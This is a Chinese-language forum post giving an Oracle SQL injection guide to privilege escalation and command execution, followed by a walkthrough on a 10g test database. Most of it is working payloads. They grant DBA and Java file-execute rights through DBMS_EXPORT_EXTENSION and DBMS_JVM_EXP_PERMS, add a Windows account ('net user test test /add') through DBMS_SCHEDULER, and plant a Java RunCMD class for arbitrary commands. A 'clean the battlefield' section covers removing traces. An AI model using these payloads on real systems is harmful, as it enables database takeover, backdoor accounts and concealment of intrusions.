Oracle注入(提权篇)

东东   ·   发表于 2021-12-28 12:01:16   ·   技术文章

提权到GetShell

提权

PL/SQL

  1. 适用版本Oracle 11g,10g下可用,可以开启对应JAVA代码权限

    1. DECLARE
    2. POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
    3. CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;
    4. BEGIN
    5. OPEN C1;
    6. FETCH C1 BULK COLLECT INTO POL;
    7. CLOSE C1;
    8. DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
    9. END;
  2. 适用版本Oracle 10g,赋予TEST用户DBA权限

    1. select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual

SQL注入

  • 赋予TEST用户DBA权限
  1. and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual) is not null
  • 删除TEST用户DBA权限

    1. and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''revoke dba from TEST''''; END;''; END;--', '', 0, '1', 0) from dual) is not null
  • 赋予用户指定代码执行权限

    1. and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null

Getshell

PL/SQL

想通过PL/SQL去执行命令的话就需要有Oracle数据库的账号和密码了,然后用sqlplus连接进行执行

  1. 通过存储过程执行,直接执行系统命令,需要有DBA权限,这里的命令会创建一个用户,账号和密码为test

    1. begin
    2. DBMS_SCHEDULER.create_program('test','EXECUTABLE','net user test test /add',0,TRUE);
    3. DBMS_SCHEDULER.create_job(job_name=>'tt',program_name=>'test',
    4. start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
    5. dbms_lock.sleep(1);
    6. dbms_scheduler.drop_program(program_name=>'test');
    7. dbms_scheduler.purge_log;
    8. end;
  2. 通过JAVA代码执行命令,需要拥有JAVA代码的执行权限

    1. 创建JAVA类

      1. BEGIN EXECUTE IMMEDIATE
      2. 'create or replace and compile java source named "RunCMD" as import java.io.*;public class RunCMD{public static String runCmd(String args){try{BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;}catch(Exception e){return e.toString();}}};';
      3. END;
    2. 创建函数调用写入的JAVA代码

      1. BEGIN EXECUTE IMMEDIATE
      2. 'create or replace function RunC(cmd in varchar2) return varchar2 as language java name ''RunCMD.runCmd(java.lang.String) return String'';';
      3. END;
    3. 执行函数

      1. SELECT RunC('whoami') FROM dual;

SQL注入

  1. 直接执行命令,需要有权限

    1. and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''test'',''EXECUTABLE'',''net user test test /add'',0,TRUE);
    2. DBMS_SCHEDULER.create_job(job_name=>''tt'',program_name=>''test'',
    3. start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
    4. dbms_lock.sleep(1);
    5. dbms_scheduler.drop_program(program_name=>''test'');
    6. dbms_scheduler.purge_log;')from dual) is not null
  2. 通过JAVA代码执行命令,需要拥有JAVA代码执行权限,这里对应着plsql的流程
    可以利用的函数有

    • DBMS_XMLQUERY.getXML
    • dbms_xmlquery.newcontext
      1. and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and compile java source named "RunCMD" as import java.io.*;public class RunCMD{public static String runCmd(String args){try{BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;}catch(Exception e){return e.toString();}}}'';commit; end;') from dual) is not null
      1. and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function RunC(cmd in varchar2) return varchar2 as language java name ''''RunCMD.runCmd(java.lang.String) return String'''';''; commit; end;') from dual) is not null
      1. and 1=ctxsys.drithsx.sn(1,(select RunC('whoami') from dual))
    1. 执行完命令删除写入的代码和函数

      1. DROP FUNCTION RUNC;
      2. DROP JAVA SOURCE "RunCMD";

打扫战场

  • 查看加载的函数

    1. SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION') order by object_id desc;
  • 删除加载的函数

  1. DROP FUNCTION 函数名
  • 查看写入的存储过程
  1. SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('PROCEDURE') order by object_id desc;
  • 删除存储过程
  1. DROP PROCEDURE 存储过程名称
  • 查看加载的包
  1. SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('PACKAGE') order by object_id desc;
  • 删除包
  1. DROP PACKAGE 包名
  • 查看写入的JAVA类
  1. SELECT * FROM ALL_OBJECTS where OBJECT_NAME='类名' order by object_id desc;
  • 删除写入的类
  1. DROP JAVA SOURCE "类名";

实际测试

靶场的版本太高,然后我又懒得搭建低版本的环境,所以直接在Navicat里面测试了,这个环境是10g的,因为我并没有找到在11g环境下可以用于sql注入中的提权语句,所以就先不写了,有知道的大佬也可以在留言中留言

先查看自身的权限,可以看到我现在是没有DBA权限的

那么我们可以先尝试使用刚才的提权语句进行提权,执行

  1. and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual) is not null

再次查询已经拥有DBA权限

下面我们使用上面说到的JAVA代码执行命令的方法来GETSHELL,首先先查看JAVA类是否存在,这里是不存在的

  1. SELECT * FROM ALL_OBJECTS where OBJECT_NAME='类名';

然后执行写入命令

  1. and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and compile java source named "RunCMD" as import java.io.*;public class RunCMD{public static String runCmd(String args){try{BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;}catch(Exception e){return e.toString();}}}'';commit; end;') from dual) is not null

没有返回NULL,执行成功,再次查看,发现已经写进去了

然后创建函数,还是先查一下是否存在

  1. and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function RunC(cmd in varchar2) return varchar2 as language java name ''''RunCMD.runCmd(java.lang.String) return String'''';''; commit; end;') from dual) is not null

然后进行创建,没有返回NULL创建成功,注意这里写的是RunC,但是实际上是RUNC,全大写

  1. and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function RunC(cmd in varchar2) return varchar2 as language java name ''''RunCMD.runCmd(java.lang.String) return String'''';''; commit; end;') from dual) is not null

函数创建成功

执行命令,这时候报错了,它提示我们没有java.io.FilePermission的执行权限

  1. and 1=ctxsys.drithsx.sn(1,(select RunC('whoami') from dual))

select * from user_java_policy命令查了一下,确实没有看到这个权限信息,那么使用如下payload进行提权

  1. and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null

执行完毕,在查询一下权限

拥有权限了,再次执行命令

用户名金币积分时间理由
Track-劲夫 30.00 0 2021-12-28 20:08:56 活动奖励
Track-劲夫 60.00 0 2021-12-28 20:08:45 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2021-12-28 | 4392 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.